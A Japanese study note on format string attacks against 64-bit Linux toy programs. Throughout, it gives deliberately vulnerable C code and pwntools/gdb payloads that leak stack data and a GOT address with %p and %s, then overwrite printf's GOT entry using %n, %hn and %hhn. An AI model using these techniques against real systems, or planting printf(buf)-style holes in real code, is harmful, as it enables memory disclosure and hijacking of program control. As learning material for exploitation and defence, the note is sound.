フォーマット文字列攻撃勉強-2

64ビットターゲットのFSBを勉強する。

フォーマット文字列攻撃でスタックが読み出せていることを確認

ターゲットプログラム:

#include <stdio.h>

int main() {
    char *buf;
    char *secret = "SECRET_KEY";

    setbuf(stdout, NULL);
    scanf("%ms", &buf);
    printf(buf);
}

printfにブレイクポイントを打って走らせる:

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ gdb -q ./fsb_leak
gdb-peda$ b *main+78
gdb-peda$ r
%p.%p.%p.%p.%p.%p.%p.%p.%p
...
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x0 
RDX: 0x0 
RSI: 0x1 
RDI: 0x5555555596b0 ("%p.%p.%p.%p.%p.%p.%p.%p.%p")
RBP: 0x7fffffffdd50 --> 0x1 
RSP: 0x7fffffffdd40 --> 0x5555555596b0 ("%p.%p.%p.%p.%p.%p.%p.%p.%p")
RIP: 0x5555555551a7 (<main+78>:   call   0x555555555040 <printf@plt>)
R8 : 0x7 
R9 : 0x5555555596e0 --> 0x555555559 
R10: 0xf684fdea3f59da7e 
R11: 0x7ffff7c97950 (<__GI___libc_realloc>:   push   r15)
R12: 0x7fffffffde68 --> 0x7fffffffe1fd ("/home/shoebill/pwn/fsb_leak")
R13: 0x555555555159 (<main>:  push   rbp)
R14: 0x555555557dd8 --> 0x555555555110 (<__do_global_dtors_aux>:   endbr64)
R15: 0x7ffff7ffd020 --> 0x7ffff7ffe240 --> 0x555555554000 --> 0x10102464c457f
...
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd40 --> 0x5555555596b0 ("%p.%p.%p.%p.%p.%p.%p.%p.%p")
0008| 0x7fffffffdd48 --> 0x555555556004 ("SECRET_KEY")
0016| 0x7fffffffdd50 --> 0x1 
0024| 0x7fffffffdd58 --> 0x7ffff7c2920a (<__libc_start_call_main+122>: mov    edi,eax)
0032| 0x7fffffffdd60 --> 0x0 
0040| 0x7fffffffdd68 --> 0x555555555159 (<main>:   push   rbp)
0048| 0x7fffffffdd70 --> 0x100000000 
0056| 0x7fffffffdd78 --> 0x7fffffffde68 --> 0x7fffffffe1fd ("/home/shoebill/pwn/fsb_leak")
[------------------------------------------------------------------------------]
gdb-peda$ c
Continuing.
0x1.(nil).(nil).0x7.0x5555555596e0.0x5555555596b0.0x555555556004.0x1.0x7ffff7c2920a[Inferior 1 (process 31720) exited normally]

第7引数からスタックに積まれてる(r9は第6引数である)。

SECRET_KEYは7番目のフォーマット指定子に対応してるので、指定子をpの代わりにsにすれば次のように読み出せる:

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./fsb_leak
%7$s
SECRET_KEY

アドレスを読み出す

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

int main() {
    char buf[0x50] = {};
    unsigned long lv = 0xdeadbeef;

    setbuf(stdout, NULL);
    read(STDIN_FILENO, buf, sizeof(buf));
    printf(buf);
    printf("\nBye!");
}

前後の順番を変えるということ

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./fsb_aarw
AAAAAAAA%p %p %p %p %p %p %p %p %p %p
AAAAAAAA0x7ffeb1831930 0x50 0x7f4348cf9a7e 0x7f4348df3ef0 0x7f4348f58aa0 (nil) 0xdeadbeef 0x4141414141414141 0x7025207025207025 0x2520702520702520

Bye!                                                                                                          
┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./fsb_aarw
AAAAAAAA%8$p
AAAAAAAA0x4141414141414141

Bye! 

8番目が対応してると判明。

次のように、前後の順番を変えてもよい(それにより%8$p%9$pに変更)

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ echo -e '\xef\xbe\xad\xde\xbe\xba\xfe\xca%8$p' | ./fsb_aarw
ᆳ޾���0xcafebabedeadbeef

Bye! 
┌──(shoebill㉿shoebill)-[~/pwn]
└─$ echo -e '%9$p\x00\x00\x00\x00\xef\xbe\xad\xde\xbe\xba\xfe\xca' | ./fsb_aarw
0xcafebabedeadbeef
Bye!

printfのGOTエントリ(0x404028)からprintfのアドレスを読み出す

アドレスは8バイトなので、0x4040280000000000と4バイト目以降がヌル文字である。

フォーマット指定子より前にヌル文字が存在すると、文字列を扱う関数はそれ以降の処理をしてくれない。

なので、\x00\x00\x00\x00\x00\x28\x40\x40%8$pと書くと攻撃が成功しない。

そこで、次のように順番を変えて書く:

%9$p\x00\x00\x00\x00\x40\x40\x28\x00\x00\x00\x00\x00

~> b'%9$p'.ljust(8, b'\x00') + p64(0x404028)

(0x404028のバイト列は\x00\x00\x00\x00\x00\x28\x40\x40じゃないがわかりやすさのため)

┌──(shoebill㉿shoebill)-[~/pwn]a
└─$ python3 -c 'import sys; from pwn import p64; sys.stdout.buffer.write(b"%9$p".ljust(8, b"\x00") + p64(0x404028))' | ./fsb_aarw
0x404028
Bye! 

このように狙った通りアクセスできたので、pというフォーマット指定子をsにしてその中身を読み出す。

出力はバイナリなのでxxdコマンドにパイプして読む:

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ python3 -c 'import sys; from pwn import p64; sys.stdout.buffer.write(b"%9$s".ljust(8, b"\x00") + p64(0x404028))' | ./fsb_aarw | xxd
00000000: 8083 e5a3 8c7f 0a42 7965 21              .......Bye!

これより、printfの実体アドレスは0x7f8ca3e58380とわかる。

アドレスを書き換える

printfのGOTエントリにある値、すなわちprintfの実体のアドレスを書き換える。

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ gdb -q -n ./fsb_aarw
(gdb) r < <(python3 -c 'import sys; from pwn import p64; sys.stdout.buffer.write(b"%9$n".ljust(8, b"\x00") + p64(0x404028))')
...
Program received signal SIGSEGV, Segmentation fault.
0x00007fff00000000 in ?? ()

ためしに0x00007fff00000102に書き換えてみる。0x0102=258だから...

(gdb) r < <(python3 -c 'import sys; from pwn import p64; sys.stdout.buffer.write(b"%258c%10$n".ljust(0x10, b"\x00") + p64(0x404028))')
...
Program received signal SIGSEGV, Segmentation fault.
0x00007fff00000102 in ?? ()

注)

・書式文字列の文字数が8バイトを越えてしまうため、10番目の要素を指定する(%258c%10$n

・さっきまでは%10$nを8バイトにそろえていたが、今回は%258c%10$nを16バイトにそろえる(ljust(0x10, b"\x00")

下位4バイトを0x12345678にする

calcは次のエイリアス

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ alias calc
calc='gdb -batch -ex'

%hnで2バイトずつ

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ calc 'p/d 0x1234'         
$1 = 4660
┌──(shoebill㉿shoebill)-[~/pwn]
└─$ calc 'p/d 0x5678 - 0x1234' 
$1 = 17476

これより

(gdb) r < <(python3 -c 'import sys; from pwn import p64; sys.stdout.buffer.write(b"%4660c%12$hn" + b"%17476c%13$hn" + b"a" * 7 + p64(0x40402a) + p64(0x404028))')
...
Program received signal SIGSEGV, Segmentation fault.
0x00007fff12345678 in ?? ()

b"a" * 7len(b"%4660c%12$hn" + b"%17476c%13$hn") = 25だから。8の倍数にするために+7。

。。。16文字で10番目、24文字で11番目、次が12・13番目?

次のように書いてもOK:

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ calc 'p/d 0x5678' 
$1 = 22136                                                                                                          
┌──(shoebill㉿shoebill)-[~/pwn]
└─$ calc 'p/d 0x11234 - 0x5678'
$1 = 48060
(gdb) r < <(python3 -c 'import sys; from pwn import p64; sys.stdout.buffer.write(b"%22136c%12$hn" + b"%48060c%13$hn" + b"a" * 6 + p64(0x404028) + p64(0x40402a))') 
...
Program received signal SIGSEGV, Segmentation fault.
0x00007fff12345678 in ?? ()

b"a" * 6len(b"%22136c%12$hn" + b"%48060c%13$hn") = 26だから。

%hhnで1バイトずつ

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ calc 'p/d 0x12'
$1 = 18
                                                                                                          
┌──(shoebill㉿shoebill)-[~/pwn]
└─$ calc 'p/d 0x34 - 0x12'
$1 = 34
                                                                                                          
┌──(shoebill㉿shoebill)-[~/pwn]
└─$ calc 'p/d 0x56 - 0x34'
$1 = 34
                                                                                                          
┌──(shoebill㉿shoebill)-[~/pwn]
└─$ calc 'p/d 0x78 - 0x56'
$1 = 34

より

(gdb) r < <(python3 -c 'import sys; from pwn import p64; sys.stdout.buffer.write(b"%18c%14$hhn" + b"%34c%15$hhn" + b"%34c%16$hhn" + b"%34c%17$hhn" + b"a" * 4 + p64(0x40402b) + p64(0x40402a) + p64(0x404029) + p64(0x404028))')
...
Program received signal SIGSEGV, Segmentation fault.
0x00007fff12345678 in ?? ()

または

(gdb) r < <(python3 -c 'import sys; from pwn import p64; sys.stdout.buffer.write(b"%18c%17$hhn" + b"%34c%16$hhn" + b"%34c%15$hhn" + b"%34c%14$hhn" + b"a" * 4 + p64(0x404028) + p64(0x404029) + p64(0x40402a) + p64(0x40402b))')
...
Program received signal SIGSEGV, Segmentation fault.
0x00007fff12345678 in ?? ()